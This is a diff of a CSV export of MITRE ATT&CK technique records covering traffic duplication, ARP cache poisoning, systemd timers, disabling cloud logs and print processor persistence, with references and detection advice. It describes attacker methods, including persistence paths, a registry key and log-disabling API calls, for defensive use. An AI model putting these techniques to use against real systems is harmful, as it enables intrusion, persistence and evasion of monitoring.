Duplication,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']",,,,,"Monitor network traffic for uncommon data flows (e.g. unusual network communications, suspicious communications that have never been seen before, communications sending fixed size data packets at regular intervals). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. ",,,,,True,,,['Administrator'],['Network'],,,,1.0 -2020-10-15 12:05:58.755000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). +Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1020/001', 'external_id': 'T1020.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/117.html', 'external_id': 'CAPEC-117'}, {'source_name': 'Cisco Traffic Mirroring', 'description': 'Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020.', 'url': 'https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html'}, {'source_name': 'Juniper Traffic Mirroring', 'description': 'Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020.', 'url': 'https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html'}, {'source_name': 'US-CERT-TA18-106A', 'description': 'US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-106A'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']",,"Monitor network traffic for uncommon data flows (e.g. unusual network communications, suspicious communications that have never been seen before, communications sending fixed size data packets at regular intervals). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. ",True,['Administrator'],['Network'],1.1,,,,,,, +attack-pattern,attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-15T12:05:58.755Z,2021-07-28T01:04:39.141Z,ARP Cache Poisoning,"Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache. @@ -254,385 +363,425 @@ An adversary may passively wait for an ARP request to poison the ARP cache of th The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver) -Adversaries may use ARP cache poisoning as a means to man-in-the-middle (MiTM) network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003) -","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1557/002', external_id='T1557.002'), ExternalReference(source_name='RFC826 ARP', description='Plummer, D. (1982, November). An Ethernet Address Resolution Protocol. Retrieved October 15, 2020.', url='https://tools.ietf.org/html/rfc826'), ExternalReference(source_name='Sans ARP Spoofing Aug 2003', description='Siles, R. (2003, August). Real World ARP Spoofing. Retrieved October 15, 2020.', url='https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411'), ExternalReference(source_name='Cylance Cleaver', description='Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.', url='https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf')]",attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2021-04-21 16:41:35.256000+00:00,ARP Cache Poisoning,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Jon Sternstein, Stern Security']","['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,,"Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. +Adversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003) +","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1557/002', 'external_id': 'T1557.002'}, {'source_name': 'RFC826 ARP', 'description': 'Plummer, D. (1982, November). An Ethernet Address Resolution Protocol. Retrieved October 15, 2020.', 'url': 'https://tools.ietf.org/html/rfc826'}, {'source_name': 'Sans ARP Spoofing Aug 2003', 'description': 'Siles, R. (2003, August). Real World ARP Spoofing. Retrieved October 15, 2020.', 'url': 'https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411'}, {'source_name': 'Cylance Cleaver', 'description': 'Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.', 'url': 'https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jon Sternstein, Stern Security']","['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. -Consider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.",,,,,True,,,['User'],"['Linux', 'Windows', 'macOS']",,,,1.0 -2020-10-15 02:59:38.628000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database) +Consider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.",True,['User'],"['Linux', 'Windows', 'macOS']",1.1,,,,,,, +attack-pattern,attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-15T02:59:38.628Z,2021-04-15T03:16:32.119Z,Vulnerabilities,"Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database) -An adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1588/006', external_id='T1588.006'), ExternalReference(source_name='National Vulnerability Database', description='National Vulnerability Database. (n.d.). National Vulnerability Database. Retrieved October 15, 2020.', url='https://nvd.nist.gov/')]",attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 03:16:32.119000+00:00,Vulnerabilities,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of exploits for vulnerabilities (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",,,,,True,,,,['PRE'],,,,1.0 -2020-10-12 17:50:31.584000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) +An adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1588/006', 'external_id': 'T1588.006'}, {'source_name': 'National Vulnerability Database', 'description': 'National Vulnerability Database. (n.d.). National Vulnerability Database. Retrieved October 15, 2020.', 'url': 'https://nvd.nist.gov/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of exploits for vulnerabilities (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-12T17:50:31.584Z,2021-07-27T16:43:25.027Z,Systemd Timers,"Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control) Each .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/. -An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1053/006', external_id='T1053.006'), ExternalReference(source_name='archlinux Systemd Timers Aug 2020', description='archlinux. (2020, August 11). systemd/Timers. Retrieved October 12, 2020.', url='https://wiki.archlinux.org/index.php/Systemd/Timers'), ExternalReference(source_name='Linux man-pages: systemd January 2014', description='Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.', url='http://man7.org/linux/man-pages/man1/systemd.1.html'), ExternalReference(source_name='Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018', description='Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.', url='https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/'), ExternalReference(source_name='gist Arch package compromise 10JUL2018', description='Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.', url='https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a'), ExternalReference(source_name='acroread package compromised Arch Linux Mail 8JUL2018', description='Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.', url='https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html')]",attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-10-14 15:20:00.754000+00:00,Systemd Timers,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['SarathKumar Rajendran, Trimble Inc']","['Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'File: File Modification', 'Process: Process Creation']",,,,,"Systemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and ~/.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user. +An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1053/006', 'external_id': 'T1053.006'}, {'source_name': 'archlinux Systemd Timers Aug 2020', 'description': 'archlinux. (2020, August 11). systemd/Timers. Retrieved October 12, 2020.', 'url': 'https://wiki.archlinux.org/index.php/Systemd/Timers'}, {'source_name': 'Systemd Remote Control', 'description': 'Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021.', 'url': 'https://www.tecmint.com/control-systemd-services-on-remote-linux-server/'}, {'source_name': 'Linux man-pages: systemd January 2014', 'description': 'Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.', 'url': 'http://man7.org/linux/man-pages/man1/systemd.1.html'}, {'source_name': 'Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018', 'description': 'Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.', 'url': 'https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/'}, {'source_name': 'gist Arch package compromise 10JUL2018', 'description': 'Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.', 'url': 'https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a'}, {'source_name': 'acroread package compromised Arch Linux Mail 8JUL2018', 'description': 'Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.', 'url': 'https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['SarathKumar Rajendran, Trimble Inc']","['Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'File: File Modification', 'Process: Process Creation']",,"Systemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and ~/.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user. Suspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: systemctl list-timers –all. Analyze the contents of corresponding .service files present on the file system and ensure that they refer to legitimate, expected executables. -Audit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)",,,,,True,,,"['User', 'root']",['Linux'],,,,1.0 -2020-10-12 13:52:32.846000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. +Audit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)",True,"['User', 'root']",['Linux'],1.1,True,,,,,, +attack-pattern,attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-12T13:52:32.846Z,2021-03-15T16:43:04.273Z,Disable Cloud Logs,"An adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. -Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an attacker has sufficient permissions, they can disable logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1562/008', external_id='T1562.008'), ExternalReference(source_name='Following the CloudTrail: Generating strong AWS security signals with Sumo Logic', description='Dan Whalen. (2019, September 10). Following the CloudTrail: Generating strong AWS security signals with Sumo Logic. Retrieved October 16, 2020.', url='https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/'), ExternalReference(source_name='Stopping CloudTrail from Sending Events to CloudWatch Logs', description='Amazon Web Services. (n.d.). Stopping CloudTrail from Sending Events to CloudWatch Logs. Retrieved October 16, 2020.', url='https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html'), ExternalReference(source_name='Configuring Data Access audit logs', description='Google. (n.d.). Configuring Data Access audit logs. Retrieved October 16, 2020.', url='https://cloud.google.com/logging/docs/audit/configure-data-access'), ExternalReference(source_name='az monitor diagnostic-settings', description='Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved October 16, 2020.', url='https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete')]",attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-03-15 16:43:04.273000+00:00,Disable Cloud Logs,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Syed Ummar Farooqh, McAfee', 'Prasad Somasamudram, McAfee', 'Sekhar Sarukkai, McAfee ', 'Ibrahim Ali Khan', 'Alex Soler, AttackIQ', 'Janantha Marasinghe', 'Matt Snyder, VMware']","['Cloud Service: Cloud Service Modification', 'Cloud Service: Cloud Service Disable']",,,,,"Monitor logs for API calls to disable logging. In AWS, monitor for: StopLogging and DeleteTrail.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: google.logging.v2.ConfigServiceV2.UpdateSink.(Citation: Configuring Data Access audit logs) In Azure, monitor for az monitor diagnostic-settings delete.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled.",,,,,True,,,['User'],['IaaS'],,,,1.1 -2020-10-05 13:24:49.780000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, spoolsv.exe, during boot. +Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an attacker has sufficient permissions, they can disable logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1562/008', 'external_id': 'T1562.008'}, {'source_name': 'Following the CloudTrail: Generating strong AWS security signals with Sumo Logic', 'description': 'Dan Whalen. (2019, September 10). Following the CloudTrail: Generating strong AWS security signals with Sumo Logic. Retrieved October 16, 2020.', 'url': 'https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/'}, {'source_name': 'Stopping CloudTrail from Sending Events to CloudWatch Logs', 'description': 'Amazon Web Services. (n.d.). Stopping CloudTrail from Sending Events to CloudWatch Logs. Retrieved October 16, 2020.', 'url': 'https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html'}, {'source_name': 'Configuring Data Access audit logs', 'description': 'Google. (n.d.). Configuring Data Access audit logs. Retrieved October 16, 2020.', 'url': 'https://cloud.google.com/logging/docs/audit/configure-data-access'}, {'source_name': 'az monitor diagnostic-settings', 'description': 'Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved October 16, 2020.', 'url': 'https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Syed Ummar Farooqh, McAfee', 'Prasad Somasamudram, McAfee', 'Sekhar Sarukkai, McAfee ', 'Ibrahim Ali Khan', 'Alex Soler, AttackIQ', 'Janantha Marasinghe', 'Matt Snyder, VMware']","['Cloud Service: Cloud Service Modification', 'Cloud Service: Cloud Service Disable']",,"Monitor logs for API calls to disable logging. In AWS, monitor for: StopLogging and DeleteTrail.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: google.logging.v2.ConfigServiceV2.UpdateSink.(Citation: Configuring Data Access audit logs) In Azure, monitor for az monitor diagnostic-settings delete.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled.",True,['User'],['IaaS'],1.1,,,,,,, +attack-pattern,attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-05T13:24:49.780Z,2020-10-09T16:05:36.344Z,Print Processors,"Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, spoolsv.exe, during boot. -Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\SYSTEM\\[CurrentControlSet or ControlSet001]\Control\Print\Environments\\[Windows architecture: e.g., Windows x64]\Print Processors\\[user defined]\Driver Registry key that points to the DLL. For the print processor to be correctly installed, it must be located in the system print-processor directory that can be found with the GetPrintProcessorDirectory API call.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020) The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1547/012', external_id='T1547.012'), ExternalReference(source_name='Microsoft AddPrintProcessor May 2018', description='Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved October 5, 2020.', url='https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor'), ExternalReference(source_name='ESET PipeMon May 2020', description='Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020.', url='https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/')]",attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-10-09 16:05:36.344000+00:00,Print Processors,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Mathieu Tartare, ESET']","['File: File Creation', 'Process: OS API Execution', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification', 'Driver: Driver Load']",,,,,"Monitor process API calls to AddPrintProcessor and GetPrintProcessorDirectory. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to HKLM\SYSTEM\ControlSet001\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\\Driver or HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\Driver as they pertain to print processor installations. +Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\SYSTEM\\[CurrentControlSet or ControlSet001]\Control\Print\Environments\\[Windows architecture: e.g., Windows x64]\Print Processors\\[user defined]\Driver Registry key that points to the DLL. For the print processor to be correctly installed, it must be located in the system print-processor directory that can be found with the GetPrintProcessorDirectory API call.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020) The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/012', 'external_id': 'T1547.012'}, {'source_name': 'Microsoft AddPrintProcessor May 2018', 'description': 'Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved October 5, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor'}, {'source_name': 'ESET PipeMon May 2020', 'description': 'Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020.', 'url': 'https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Mathieu Tartare, ESET']","['File: File Creation', 'Process: OS API Execution', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification', 'Driver: Driver Load']",,"Monitor process API calls to AddPrintProcessor and GetPrintProcessorDirectory. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to HKLM\SYSTEM\ControlSet001\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\\Driver or HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\Driver as they pertain to print processor installations. -Monitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.",,,,,True,,,"['Administrator', 'SYSTEM']",['Windows'],,,,1.0 -2020-10-02 17:09:50.723000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. +Monitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.",True,"['Administrator', 'SYSTEM']",['Windows'],1.0,,,,,,, 